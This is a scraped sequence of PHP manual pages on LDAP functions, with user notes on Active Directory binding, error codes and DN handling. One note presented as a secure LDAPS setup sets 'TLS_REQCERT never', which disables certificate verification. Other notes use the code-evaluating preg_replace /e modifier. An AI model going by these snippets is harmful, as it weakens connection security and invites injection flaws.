Note: For writing parameters to AD you need to renew ticket each 10 hours or less (AD default lifetime ticket), for reading pourpose you can maintain expired ticket.
When querying a windows 2000/2003 AD you MUST use only SASL and not TLS (non supported).
Andrew (a.whyte at cqu.edu.au) 29-Sep-2003 12:15
To be able to make modifications to Active Directory via the LDAP connector you must bind to the LDAP service over SSL. Otherwise Active Directory provides a mostly readonly connection. You cannot add objects or modify certain properties without LDAPS, e.g. passwords can only be changed using LDAPS connections to Active Directory.

Therefore, for those wishing to securely connect to Active Directory, from a Unix host using PHP+OpenLDAP+OpenSSL I spent some time getting this going myself, and came across a few gotcha's. Hope this proves fruitfull for others like me when you couldn't find answers out there.

Make sure you compile OpenLDAP with OpenSSL support, and that you compile PHP with OpenLDAP and OpenSSL.

This provides PHP with what it needs to make use of ldaps:// connections.

Configure OpenSSL:

Extract your Root CA certificate from Active Directory, this is achived through the use of Certificate Services, a startard component of Windows 2000 Server, but may not be installed by default, (The usual Add/Remove Software method will work here). I extracted this in Base64 not DER format.

Place the extracted CAcert into the certs folder for openssl. (e.g. /usr/local/ssl/certs) and setup the hashed symlinks. This is easily done by simply running:

  /usr/local/ssl/bin/c_rehash

Once this is done you can test it is worked by running:

  /usr/local/ssl/bin/openssl verify -verbose -CApath /usr/local/ssl/certs /tmp/exported_cacert.pem

(Should return: OK).

Configure OpenLDAP:

Add the following to your ldap.conf file.
(found as /usr/local/openldap/etc/openldap/ldap.conf)

  #--begin--

  # Instruct client to NOT request a server's cert.
  TLS_REQCERT never

  # Define location of CA Cert
  TLS_CACERT /usr/local/ssl/certs/AD_CA_CERT.pem
  TLS_CACERTDIR /usr/local/ssl/certs

  #--end--

You also need to place those same settings in a file within the Apache Web user homedir called .ldaprc

  e.g.:

  cp /usr/local/openldap/etc/openldap/ldap.conf ~www/.ldaprc )

You can then test that you're able to establish a LDAPS connection to Active Directory from the OpenLDAP command tools:

  /usr/local/openldap/bin/ldapsearch -H "ldaps://adserver.ad.com"

This should return some output in extended LDIF format and will indicate no matching objects, but it proves the connection works.

The name of the server you're connecting to is important. If they server name you specify in the "ldaps://" URI does not match the name of the server in it's certificate, it will complain like so:

  ldap_bind: Can't contact LDAP server (81)
        additional info: TLS: hostname does not match CN in peer certificate

Once you've gotten the ldapsearch tool working correctly PHP should work also.

One important gotcha however is that the Web user must be able to locate it's HOME folder. You must check that Apache is providing a HOME variable set to the Web users home directory, so that php can locate the .ldaprc file and the settings contained within. This may well be different between Unix variants but it is such a simple and stupid thing if you miss it and it causes you grief. Simply use a SetEnv directive in Apache's httpd.conf:

  SetEnv HOME /usr/local/www

With all that done, you can now code up a simple connect function:

  function connect_AD()
  {
    $ldap_server = "ldaps://adserver.ad.com" ;
    $ldap_user   = "CN=web service account,OU=Service Accounts,DC=ad,DC=com" ;
    $ldap_pass   = "password" ;

    $ad = ldap_connect($ldap_server) ;
    ldap_set_option($ad, LDAP_OPT_PROTOCOL_VERSION, 3) ;
    $bound = ldap_bind($ad, $ldap_user, $ldap_pass);

    return $ad ;
  }

Optionally you can avoid the URI style server string and use something like ldap_connect("adserver.ad.com", 636) ;  But work fine with Active Directory servers.

Hope this proves usefull.
avel at noc uoa gr 24-Jul-2002 07:05
Note that hostname can be a space-separated list of LDAP host names. This is very useful for failover; if the first ldap host is down, ldap_connect will ask the second LDAP host. Of course, you _must_ have LDAP replicates before doing this. :) Read the LDAP API documentation for more information.

This can also be useful, apart from failover, for LDAP load balancing. Just use a random generator function that will return a different space-separated list every time. This is because the first host in the list is always tried first.

Be careful when doing LDAP writes; be sure to always connect to your master host when you are about to modify the database, so that the replicates will get the changes as expected.

Alexandros Vellis
24-Apr-2002 09:28
A resource ID is always returned when using URLs for the host parameter
even if the host does not exist.

"When using an URI to describe the connection, the (open)ldap library
only parses the url and checks if it's valid, _no connection_ is
established in that case."
-mfischer@php.net
http://bugs.php.net/bug.php?id=15637
ldap_compare
ldap_count_entries
LDAP Functions


Count the number of entries in a search

ldap_connect
ldap_delete
LDAP Functions
PHP Manual

ldap_count_entries

(PHP 4, PHP 5)

ldap_count_entries — Count the number of entries in a search

Description

int ldap_count_entries ( resource $link_identifier , resource $result_identifier )

Returns the number of entries stored in the result of previous search operations.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_identifier

The internal LDAP result.

Return Values

Returns number of entries in the result or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
ldap_connect
ldap_delete
LDAP Functions


Delete an entry from a directory

ldap_count_entries
ldap_dn2ufn
LDAP Functions
PHP Manual

ldap_delete

(PHP 4, PHP 5)

ldap_delete — Delete an entry from a directory

Description

bool ldap_delete ( resource $link_identifier , string $dn )

Deletes a particular entry in LDAP directory.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ldap_add() - Add entries to LDAP directory

User Contributed Notes

sergiopaternoster at tiscali dot it 11-Apr-2003 11:02
If you receive a "Strong(er) authentication required" error message when you try to delete an entry on OpenLDAP 2.1.6 set LDAP version 3 first:

$ds = ldap_connect($my_ldap_host);
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
$r=@ldap_bind($ds,$bind_dn,$bind_pwd);

Enjoy LDAP

Sergio
gabriel at hrz dot uni-marburg dot de 14-May-2002 08:16
Useful function to delete dn entries recursively

bool myldap_delete ( resource ds, string dn, bool recursive)

Returns TRUE on success, FALSE on failure
recursive is by default FALSE (same behaviour as ldap_delete)

function myldap_delete($ds,$dn,$recursive=false){
    if($recursive == false){
        return(ldap_delete($ds,$dn));
    }else{
        //searching for sub entries
        $sr=ldap_list($ds,$dn,"ObjectClass=*",array(""));
        $info = ldap_get_entries($ds, $sr);
        for($i=0;$i<$info['count'];$i++){
            //deleting recursively sub entries
            $result=myldap_delete($ds,$info[$i]['dn'],$recursive);
            if(!$result){
                //return result code, if delete fails
                return($result);
            }
        }
        return(ldap_delete($ds,$dn));
    }
}
ldap_count_entries
ldap_dn2ufn
LDAP Functions


Convert DN to User Friendly Naming format

ldap_delete
ldap_err2str
LDAP Functions
PHP Manual

ldap_dn2ufn

(PHP 4, PHP 5)

ldap_dn2ufn — Convert DN to User Friendly Naming format

Description

string ldap_dn2ufn ( string $dn )

Turns the specified dn, into a more user-friendly form, stripping off type names.

Parameters

dn

The distinguished name of an LDAP entity.

Return Values

Returns the user friendly name.

User Contributed Notes

naaina at gmail dot com 18-Feb-2005 04:18
Don't know if anyone is interested in this, but this is a modified and more dynamic version of the posting below. Since ldap_dn2ufn takes ',' as delimiter for the UFNs, we'll also use it here. $pHowToBuild specifies, how the DN is going to be build.

Short example:

$myUFN = ldap_dn2ufn("cn=naaina, ou=container1, ou=container2, ou=container3, o=private, c=de");
echo $myUFN . "\n"; // will return "naaina, container1, container2, container3, private, de"

$myDN = $ldapObject->conv_ufn2dn($myUFN);
echo $myDN . "\n"; // will return "cn=naaina,ou=container1,ou=container2,ou=container3,o=private,c=de"

For the object name, $pHowToBuild["object"] is going to be used as prefix - for containers $pHowToBuild["container"] and for the last n elements $pHowToBuild["last"].

<?php
  function ldap_ufn2dn (
   $pUFN,
   $pDelimiter = ",",
   $pHowToBuild = array(
    "object" => "cn",
    "container" => "ou",
    "last" => array("o", "c")
   )
  )
  {
   $resultDN = null;

   if(!empty($pUFN)) {
     /* Check $pHowToBuild */
     if(is_array($pHowToBuild)) {
       /* Check if required keys are existent */
       if(array_key_exists("object", $pHowToBuild) &&
          array_key_exists("container", $pHowToBuild) &&
          array_key_exists("last", $pHowToBuild))
       {
         $ufnArray = explode($pDelimiter, $pUFN);
         $ufnLast  = count($ufnArray) - count($pHowToBuild["last"]);

         /* Remove empty values */
         foreach($ufnArray as $objKey => $objVal)
           if(empty($objVal))
             array_splice($ufnArray, $objKey, 1);

         /* Now build the DN ... */
         foreach($ufnArray as $objKey => $objVal) {
           $objVal = trim($objVal);

           if($objKey == 0) {
             /* For the object */
             $resultDN .= $pHowToBuild["object"] . "=" . $objVal . ",";
           } elseif ($objKey >= $ufnLast) {
             /* For last parts of the DN */
             $resultDN .= $pHowToBuild["last"][$objKey - $ufnLast] . "=" . $objVal;
             if(($objKey - $ufnLast - 1) != 0) {
               $resultDN .= ",";
             }
           } else {
             /* For containers */
             $resultDN .= $pHowToBuild["container"] . "=" . $objVal . ",";
           }
         }
       }
     }
   }

   return $resultDN;
  }
?>
alex at netflex dot nl 15-Oct-2002 04:09
The function of bryan will only work if you start with an Organization and using only an Organizational Unit as a container and the object is an CN.

For example:

$DN = "CN=DNS,CN=Authorized Login Methods,CN=Security";

echo ($DN = ldap_dn2ufn($DN)) . "\n";

echo ($DN = ldap_ufn2dn($DN)) . "\n";

will echo:

DNS,Authorized Login Methods,Security

CN=DNS,OU=Authorized Login Methods,O=Security
bryan at apachetoolbox dot com 24-Jul-2001 04:47
function ldap_unf2dn($unf,$delimeter=".") {
 $seperated = explode($delimeter,$unf); //split the unf up by the given delimeter
 $LastKey=count($seperated)-1;          //0 is the first key to total-1 would be the last key
 foreach($seperated as $key => $value) {
  if ($key == 1) {              //first variable is the CN
   $dn="${dn}cn=$value,";
  } elseif ($key == $LastKey) { //last variable, so it's the O
   $dn="${dn}o=$value";
  } elseif ($value == "") {     //value is blank, so continue
   continue;
  } else {                      //just a typical OU
   $dn="${dn}ou=$value,";
  }

 };
return $dn;

}

$unf=".bryan.users.admin.apachetoolbox";
$dn=ldap_unf2dn($unf);
print "$dn" // will give me "cn=bryan,ou=users,ou=TS,o=apachetoolbox"
bryan at apachetoolbox dot com 24-Jul-2001 04:12
This function will convert "cn=bryan,ou=users,ou=admin,o=apachetoolbox" to "bryan,users,admin,apachetoolbox".
ldap_delete
ldap_err2str
LDAP Functions


Convert LDAP error number into string error message

ldap_dn2ufn
ldap_errno
LDAP Functions
PHP Manual

ldap_err2str

(PHP 4, PHP 5)

ldap_err2str — Convert LDAP error number into string error message

Description

string ldap_err2str ( int $errno )

Returns the string error message explaining the error number errno. While LDAP errno numbers are standardized, different libraries return different or even localized textual error messages. Never check for a specific error message text, but always use an error number to check.

Parameters

errno

The error number.

Return Values

Returns the error message, as a string.

Examples

Example #1 Enumerating all LDAP error messages

<?php
  for ($i=0; $i<100; $i++) {
    printf("Error $i: %s<br />\n", ldap_err2str($i));
  }
?>

See Also

  • ldap_errno() - Return the LDAP error number of the last LDAP command
  • ldap_error() - Return the LDAP error message of the last LDAP command

User Contributed Notes

There are no user contributed notes for this page.
ldap_dn2ufn
ldap_errno
LDAP Functions


Return the LDAP error number of the last LDAP command

ldap_err2str
ldap_error
LDAP Functions
PHP Manual

ldap_errno

(PHP 4, PHP 5)

ldap_errno — Return the LDAP error number of the last LDAP command

Description

int ldap_errno ( resource $link_identifier )

Returns the standardized error number returned by the last LDAP command. This number can be converted into a textual error message using ldap_err2str().

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

Return Values

Return the LDAP error number of the last LDAP command for this link.

Examples

Unless you lower your warning level in your php.ini sufficiently or prefix your LDAP commands with @ (at) characters to suppress warning output, the errors generated will also show up in your HTML output.

Example #1 Generating and catching an error

<?php
// This example contains an error, which we will catch.
$ld = ldap_connect("localhost");
$bind = ldap_bind($ld);
// syntax error in filter expression (errno 87),
// must be "objectclass=*" to work.
$res =  @ldap_search($ld, "o=Myorg, c=DE", "objectclass");
if (!$res) {
    echo "LDAP-Errno: " . ldap_errno($ld) . "<br />\n";
    echo "LDAP-Error: " . ldap_error($ld) . "<br />\n";
    die("Argh!<br />\n");
}
$info = ldap_get_entries($ld, $res);
echo $info["count"] . " matching entries.<br />\n";
?>

See Also

  • ldap_err2str() - Convert LDAP error number into string error message
  • ldap_error() - Return the LDAP error message of the last LDAP command

User Contributed Notes

11-Apr-2002 04:23
Common LDAP error codes

LDAP_SUCCESS                    0x00
LDAP_OPERATIONS_ERROR           0x01
LDAP_PROTOCOL_ERROR             0x02
LDAP_TIMELIMIT_EXCEEDED         0x03
LDAP_SIZELIMIT_EXCEEDED         0x04
LDAP_COMPARE_FALSE              0x05
LDAP_COMPARE_TRUE               0x06
LDAP_AUTH_METHOD_NOT_SUPPORTED  0x07
LDAP_STRONG_AUTH_REQUIRED       0x08
// Not used in LDAPv3
LDAP_PARTIAL_RESULTS            0x09

// Next 5 new in LDAPv3
LDAP_REFERRAL           0x0a
LDAP_ADMINLIMIT_EXCEEDED        0x0b
LDAP_UNAVAILABLE_CRITICAL_EXTENSION     0x0c
LDAP_CONFIDENTIALITY_REQUIRED   0x0d
LDAP_SASL_BIND_INPROGRESS       0x0e

LDAP_NO_SUCH_ATTRIBUTE          0x10
LDAP_UNDEFINED_TYPE             0x11
LDAP_INAPPROPRIATE_MATCHING     0x12
LDAP_CONSTRAINT_VIOLATION       0x13
LDAP_TYPE_OR_VALUE_EXISTS       0x14
LDAP_INVALID_SYNTAX             0x15

LDAP_NO_SUCH_OBJECT             0x20   /* 32 */
LDAP_ALIAS_PROBLEM              0x21
LDAP_INVALID_DN_SYNTAX          0x22
// Next two not used in LDAPv3
LDAP_IS_LEAF                    0x23
LDAP_ALIAS_DEREF_PROBLEM        0x24

LDAP_INAPPROPRIATE_AUTH         0x30   /* 48 */
LDAP_INVALID_CREDENTIALS        0x31   /* 49 */
LDAP_INSUFFICIENT_ACCESS        0x32
LDAP_BUSY                       0x33
LDAP_UNAVAILABLE                0x34
LDAP_UNWILLING_TO_PERFORM       0x35
LDAP_LOOP_DETECT                0x36

LDAP_SORT_CONTROL_MISSING       0x3C    /* 60 */
LDAP_INDEX_RANGE_ERROR          0x3D    /* 61 */

LDAP_NAMING_VIOLATION           0x40
LDAP_OBJECT_CLASS_VIOLATION     0x41
LDAP_NOT_ALLOWED_ON_NONLEAF     0x42
LDAP_NOT_ALLOWED_ON_RDN         0x43
LDAP_ALREADY_EXISTS             0x44    /* 68 */
LDAP_NO_OBJECT_CLASS_MODS       0x45
LDAP_RESULTS_TOO_LARGE          0x46
// Next two for LDAPv3
LDAP_AFFECTS_MULTIPLE_DSAS      0x47
LDAP_OTHER                      0x50

// Used by some APIs
LDAP_SERVER_DOWN                0x51
LDAP_LOCAL_ERROR                0x52
LDAP_ENCODING_ERROR             0x53
LDAP_DECODING_ERROR             0x54
LDAP_TIMEOUT                    0x55
LDAP_AUTH_UNKNOWN               0x56
LDAP_FILTER_ERROR               0x57    /* 87 */
LDAP_USER_CANCELLED             0x58
LDAP_PARAM_ERROR                0x59
LDAP_NO_MEMORY                  0x5a

// Preliminary LDAPv3 codes
LDAP_CONNECT_ERROR              0x5b
LDAP_NOT_SUPPORTED              0x5c
LDAP_CONTROL_NOT_FOUND  0x5d
LDAP_NO_RESULTS_RETURNED        0x5e
LDAP_MORE_RESULTS_TO_RETURN     0x5f
LDAP_CLIENT_LOOP        0x60
LDAP_REFERRAL_LIMIT_EXCEEDED    0x61
ahall at mirapoint dot com 30-Jul-2001 07:16
Couple of good error codes to get started.  If you want to detect failure of ldap_add due to the record already existing, ldap_error == 0x44.  This means, you can do something like:

$r = ldap_add($ds, $dn, $info);
if (!$r) {
    if (ldap_errno($ds) == 0x44) {
         // Do something about it
    } else {
         // A real failure
    }
}

Similarly, on ldap_delete, you will get a 0x20 value (No Such Object) if you try to delete something that isn't there.
ldap_err2str
ldap_error
LDAP Functions


Return the LDAP error message of the last LDAP command

ldap_errno
ldap_explode_dn
LDAP Functions
PHP Manual

ldap_error

(PHP 4, PHP 5)

ldap_error — Return the LDAP error message of the last LDAP command

Description

string ldap_error ( resource $link_identifier )

Returns the string error message explaining the error generated by the last LDAP command for the given link_identifier. While LDAP errno numbers are standardized, different libraries return different or even localized textual error messages. Never check for a specific error message text, but always use an error number to check.

Unless you lower your warning level in your php.ini sufficiently or prefix your LDAP commands with @ (at) characters to suppress warning output, the errors generated will also show up in your HTML output.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

Return Values

Returns string error message.

See Also

  • ldap_err2str() - Convert LDAP error number into string error message
  • ldap_errno() - Return the LDAP error number of the last LDAP command

User Contributed Notes

edA-qa at disemia dot com 28-Jul-2008 06:43
For those wondering, this function appears to do the same thing as:
<?php
ldap_err2str( ldap_errno() );
?>
ldap_errno
ldap_explode_dn
LDAP Functions


Splits DN into its component parts

ldap_error
ldap_first_attribute
LDAP Functions
PHP Manual

ldap_explode_dn

(PHP 4, PHP 5)

ldap_explode_dn — Splits DN into its component parts

Description

array ldap_explode_dn ( string $dn , int $with_attrib )

Splits the DN returned by ldap_get_dn() and breaks it up into its component parts. Each part is known as Relative Distinguished Name, or RDN.

Parameters

dn

The distinguished name of an LDAP entity.

with_attrib

Used to request if the RDNs are returned with only values or their attributes as well. To get RDNs with the attributes (i.e. in attribute=value format) set with_attrib to 0 and to get only values set it to 1.

Return Values

Returns an array of all DN components. The first element in this array has count key and represents the number of returned values, next elements are numerically indexed DN components.

User Contributed Notes

DavidSmith at byu dot net 15-Sep-2003 09:06
[ Editor's Note: The segfault has been fixed and will not occur in PHP 4.3.4 or PHP 5.0.0 when they are released.  However, it is still important to escape special characters as detailed below. ]

If your DN contains < or > characters, you must escape them with a backslash or ldap_explode_dn() will give you a "wrong parameter count" error or even a segmentation fault.

For example, these calls will fail with a "wrong parameter count" or a seg fault:

  ldap_explode_dn( "cn=<bob>,dc=example,dc=com", 0 );
  ldap_explode_dn( 'cn=<bob>,dc=example,dc=com', 0 );

But this will succeed

  ldap_explode_dn( "cn=\<bob\>,dc=example,dc=com", 0 );

Notice also that the < and > are escaped with hex codes as noted above. This function is a nice wrapper that properly formats all DNs and can safely be called with < and > characters, and UTF-8 characters:

function my_explode_dn( $dn, $with_attributes=0 )
{
        $dn = addcslashes( $dn, "<>" );
        $result = ldap_explode_dn( $dn, $with_attributes );
        //translate hex code into ascii again
        foreach( $result as $key => $value )
                $result[$key] = preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);
        return $result;
}

I am using php 4.3.1. Good luck!
gabriel at hrz dot uni-marburg dot de 05-Aug-2003 02:27
Keep attention on UTF8 encoded DNs. Since openLDAP >=2.1.2
ldap_explode_dn turns unprintable chars (in the ASCII sense, UTF8
encoded) into \<hexcode>.

Example:

$dn="ou=Universität ,c=DE";
var_dump(ldap_explode_dn($dn,0));

//returns

array(3) {
  ["count"]=>
  int(2)
  [0]=>
  string(19) "ou=Universit\C3\A4t"
  [1]=>
  string(4) "c=DE"
}

Unfortunately, PHP don't support the ldap functions ldap_str2dn and
ldap_dn2str, but by means of preg_replace a workaround is possible to
recover the old behaviour of ldap_explode_dn

// workaround
function myldap_explode_dn($dn,$with_attribute){

$result=ldap_explode_dn ($dn, $with_attrib);
 //translate hex code into ascii again
    foreach($result as $key=>$value){
          $result[$key]=preg_replace("/\\\([0-9A-Fa-f]{2})/e", "''.chr(hexdec('\\1')).''", $value);
    }
    return($result);

}
//
//then follows for the example

$dn="ou=Universität ,c=DE";
var_dump(myldap_explode_dn($dn,0));

//returns

array(3) {
  ["count"]=>
  int(2)
  [0]=>
  string(15) "ou=Universität"
  [1]=>
  string(4) "c=DE"
}
bs at muekno dot de 23-Oct-2001 04:02
Copying is much better than typing!!!!
Just modify the constants.
Best wishes (and thanX 4 this helpfull site),
Bernd Schwaegerl
Mueller-Knoche GmbH, Systemhaus fuer EDV-Loesungen

# Example:

$HOST = "Yourhostname";
$USER_DN = "Yourldapuser_dn";
$PWD = "Ldapuserpassword";
$BASE_DN = "o=Your_organisation";
$SEARCH_OBJECT="sn=YOUR_SEARCH_PERSON_OBJECTS_SN";

$ldap_handle=ldap_connect($HOST);
$bind_result=ldap_bind($ldap_handle,$USER_DN,$PWD);

$search_result=ldap_search($ldap_handle,$BASE_DN,$SEARCH_OBJECT);
$result=ldap_get_entries($ldap_handle,$search_result);
$result_array=ldap_get_entries($ldap_handle,$result);
$whole_dn=$result_array[0]["dn"];

$dn_parts=ldap_explode_dn($whole_dn,0);
ldap_error
ldap_first_attribute
LDAP Functions


Return first attribute

ldap_explode_dn
ldap_first_entry
LDAP Functions
PHP Manual

ldap_first_attribute

(PHP 4, PHP 5)

ldap_first_attribute — Return first attribute

Description

string ldap_first_attribute ( resource $link_identifier , resource $result_entry_identifier )

Gets the first attribute in the given entry. Remaining attributes are retrieved by calling ldap_next_attribute() successively.

Similar to reading entries, attributes are also read one by one from a particular entry.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_entry_identifier

ber_identifier

ber_identifier is the identifier to internal memory location pointer. It is passed by reference. The same ber_identifier is passed to ldap_next_attribute() , which modifies that pointer.

Note:

This parameter is no longer used as this is now handled automatically by PHP. For backwards compatibility PHP will not throw an error if this parameter is passed.

Return Values

Returns the first attribute in the entry on success and FALSE on error.

Changelog

Version | Description
5.2.4 | The ber_identifier was removed. This is now handled automatically by PHP.

See Also

  • ldap_next_attribute() - Get the next attribute in result
  • ldap_get_attributes() - Get attributes from a search result entry

User Contributed Notes

There are no user contributed notes for this page.
ldap_explode_dn
ldap_first_entry
LDAP Functions


Return first result id

ldap_first_attribute
ldap_first_reference
LDAP Functions
PHP Manual

ldap_first_entry

(PHP 4, PHP 5)

ldap_first_entry — Return first result id

Description

resource ldap_first_entry ( resource $link_identifier , resource $result_identifier )

Returns the entry identifier for first entry in the result. This entry identifier is then supplied to ldap_next_entry() routine to get successive entries from the result.

Entries in the LDAP result are read sequentially using the ldap_first_entry() and ldap_next_entry() functions.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_identifier

Return Values

Returns the result entry identifier for the first entry on success and FALSE on error.

See Also

  • ldap_get_entries() - Get all result entries

User Contributed Notes

eddie at omegaware dot com 07-Aug-2003 05:57
Here's a nice way to user ldap_first_entry,ldap_next_entry.

$res = ldap_search($ldapc,$searchroot,$filter,$attributes);
for ($entryID=ldap_first_entry($ldapc,$res);
            $entryID!=false;
            $entryID=ldap_next_entry($ldapc,$entryID))
{
// Do stuff with the $entryID.
$values = ldap_get_values($ldapc,$entryID,'uid');
}
ldap_first_attribute
ldap_first_reference
LDAP Functions


Return first reference

ldap_first_entry
ldap_free_result
LDAP Functions
PHP Manual

ldap_first_reference

(PHP 4 >= 4.0.5, PHP 5)

ldap_first_reference — Return first reference

Description

resource ldap_first_reference ( resource $link , resource $result )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

sami at sipponen dot com 16-Nov-2004 03:56
Hopefully the code below help you to loop through references with LDAP3 servers. It took me a significant amount of time to figure out how this thing works and now I have successfully used this with Active Directory to loop through severial subdomains.

Special thanks to Stig Venaas who helped me to get started. (the original problem was that ldap_parse_reference function was missing in Windows builds. At least it will now work with Windows PHP versions 5.1.0-DEV and higher after I made a bug report)

function crawlRefs($user, $passw, $host, $dn, $port, $filter) {

  //Create the basic connection for fetching referrals
  $adConn = ldap_connect($host, $port) or die("System couldn't connect!");
  ldap_set_option($adConn, LDAP_OPT_PROTOCOL_VERSION, 3) or die ("System couldn't make first protocol option setting!");
  ldap_set_option($adConn, LDAP_OPT_REFERRALS, 0) or die ("System couldn't make second protocol option setting!");
  $bd = ldap_bind($adConn, $user, $passw) or die ("System couldn't bind the connection!");
  $search = ldap_search($adConn, $dn, $filter);

  //Find referrals
  $ref = ldap_first_reference($adConn, $search);
  while ($ref) {
    if (ldap_parse_reference($adConn, $ref, $referrals)) {
      while ($referral = array_shift($referrals)) {
        echo $referral . "<br>\n";
      }
    }
  $ref = ldap_next_reference($adConn, $ref);
}
ldap_first_entry
ldap_free_result
LDAP Functions


Free result memory

ldap_first_reference
ldap_get_attributes
LDAP Functions
PHP Manual

ldap_free_result

(PHP 4, PHP 5)

ldap_free_result — Free result memory

Description

bool ldap_free_result ( resource $result_identifier )

Frees up the memory allocated internally to store the result. All result memory will be automatically freed when the script terminates.

Typically all the memory allocated for the LDAP result gets freed at the end of the script. In case the script is making successive searches which return large result sets, ldap_free_result() could be called to keep the runtime memory usage by the script low.

Parameters

result_identifier

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ldap_first_reference
ldap_get_attributes
LDAP Functions


Get attributes from a search result entry

ldap_free_result
ldap_get_dn
LDAP Functions
PHP Manual

ldap_get_attributes

(PHP 4, PHP 5)

ldap_get_attributes — Get attributes from a search result entry

Description

array ldap_get_attributes ( resource $link_identifier , resource $result_entry_identifier )

Reads attributes and values from an entry in the search result.

Having located a specific entry in the directory, you can find out what information is held for that entry by using this call. You would use this call for an application which "browses" directory entries and/or where you do not know the structure of the directory entries. In many applications you will be searching for a specific attribute such as an email address or a surname, and won't care what other data is held.

return_value["count"] = number of attributes in the entry
return_value[0] = first attribute
return_value[n] = nth attribute

return_value["attribute"]["count"] = number of values for attribute
return_value["attribute"][0] = first value of the attribute
return_value["attribute"][i] = (i+1)th value of the attribute

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_entry_identifier

Return Values

Returns a complete entry information in a multi-dimensional array on success and FALSE on error.

Examples

Example #1 Show the list of attributes held for a particular directory entry

<?php
// $ds is the link identifier for the directory

// $sr is a valid search result from a prior call to
// one of the ldap directory search calls

$entry = ldap_first_entry($ds, $sr);

$attrs = ldap_get_attributes($ds, $entry);

echo $attrs["count"] . " attributes held for this entry:<p>";

for ($i=0; $i < $attrs["count"]; $i++) {
    echo $attrs[$i] . "<br />";
}
?>

See Also

  • ldap_first_attribute() - Return first attribute
  • ldap_next_attribute() - Get the next attribute in result

User Contributed Notes

dunc at rumbletum dot org 18-Oct-2007 02:52
I spent quite a while scratching my head about how to read operational attributes such as create and modify timestamps.

This function solved it....

function get_entry_system_attrs( $ds, $dn, $deref=LDAP_DEREF_NEVER )
{
   $conn = $ds;
   $attrs = array( 'creatorsname', 'createtimestamp', 'modifiersname',
         'structuralObjectClass', 'entryUUID',  'modifytimestamp',
         'subschemaSubentry', 'hasSubordinates', '+' );
   $search = @ldap_read( $conn, $dn, '(objectClass=*)', $attrs, 0, 0, 0, $deref );
   if( ! $search )
      return false;
   $entry = ldap_first_entry( $conn, $search );
   if( ! $entry)
       return false;
   $attrs = ldap_get_attributes( $conn, $entry );
   if( ! $attrs )
      return false;
   if( ! isset( $attrs['count'] ) )
      return false;
   $count = $attrs['count'];
   unset( $attrs['count'] );
   $return_attrs = array();
   for( $i=0; $i<$count; $i++ ) {
      $attr_name = $attrs[$i];
      unset( $attrs[$attr_name]['count'] );
      $return_attrs[$attr_name] = $attrs[$attr_name];
   }
   return $return_attrs;
}
Snezko Snezak 27-Jul-2006 01:06
Code and function to extract all attributes from all entryes in a certain DN. Maybe not the most timewise efficient but it works.

$entry = ldap_first_entry($ds, $sr);
write_attr($entry,$ds);
for ($i = 0; $i < $n_entries; $i++){
   $entry = ldap_next_entry($ds, $entry);
   write_attr($entry,$ds);
}

function write_attr($entry,$ds){
   $attrs = ldap_get_attributes ($ds, $entry);
   for ($j = 0; $j < $attrs["count"]; $j++){
      $attr_name = $attrs[$j];
      $attrs["$attr_name"]["count"] . "\n";
      for ($k = 0; $k < $attrs["$attr_name"]["count"]; $k++) {
             echo ">>>>>>";
             echo $attr_name.": ".$attrs["$attr_name"][$k]."\n";
      }
   }
}
php dot net at hiddemann dot org 02-Jul-2004 10:59
Note that ldap_get_attributes fetches attributes AND values from the LDAP server. Depending on the data stored in the entry, the following code might work a dozen times faster (or even better, but faster in general) than the code in Example 1:

<?php
// $ds is the link identifier for the directory

// $sr is a valid search result from a prior call to
// one of the ldap directory search calls

$entry = ldap_first_entry($ds, $sr);

$attrs = array();
$attribute = ldap_first_attribute($ds,$entry,$identifier);
while ($attribute) {
   $attrs[] = $attribute;
   $attribute=ldap_next_attribute($ds,$entry,$identifier);
}

echo count($attrs) . " attributes held for this entry:<p>";

for ($i=0; $i<count($attrs); $i++) {
   echo $attrs[$i] . "<br />";
}
?>

You may want to check the time difference with the function "microtime".
kop at meme dot com 29-Jul-2003 11:28
It's good practice to use array_change_key_case() on the result of ldap_get_attributes() so your program can ignore case in attribute names just like ldap itself does.  (You wouldn't want ldap_get_attributes to _always_ flatten the case because you need a way to get the attribute names in a pretty format for display to the user.)
allie at pajunas dot com 20-May-2002 08:52
The array created by this function is similar to the on from ldap_get_entries() but when it creates array keys it alters the attribute's case inconsistently.

ldap_get_entries() lowercases all of the attributes before keying the array with them, but this function appears to leave things as they are.

If you're having problems, do a print_r and make sure you're using correct case for array keys.  For example, you might need to use "objectClass" and not "objectclass".
software at inebria dot com 21-Jun-2001 10:31
As of PHP 4.0.5, the ldap_get_attributes function does not work with binary data.  If you're fetching a JPEG from an LDAP server, use ldap_get_values_len instead.
ldap_free_result
ldap_get_dn
LDAP Functions


Get the DN of a result entry

ldap_get_attributes
ldap_get_entries
LDAP Functions
PHP Manual

ldap_get_dn

(PHP 4, PHP 5)

ldap_get_dn — Get the DN of a result entry

Description

string ldap_get_dn ( resource $link_identifier , resource $result_entry_identifier )

Finds out the DN of an entry in the result.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_entry_identifier

Return Values

Returns the DN of the result entry and FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
ldap_get_attributes
ldap_get_entries
LDAP Functions


Get all result entries

ldap_get_dn
ldap_get_option
LDAP Functions
PHP Manual

ldap_get_entries

(PHP 4, PHP 5)

ldap_get_entries — Get all result entries

Description

array ldap_get_entries ( resource $link_identifier , resource $result_identifier )

Reads multiple entries from the given result, and then reading the attributes and multiple values.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_identifier

Return Values

Returns a complete result information in a multi-dimensional array on success and FALSE on error.

The structure of the array is as follows. The attribute index is converted to lowercase. (Attributes are case-insensitive for directory servers, but not when used as array indices.)

return_value["count"] = number of entries in the result
return_value[0] : refers to the details of first entry

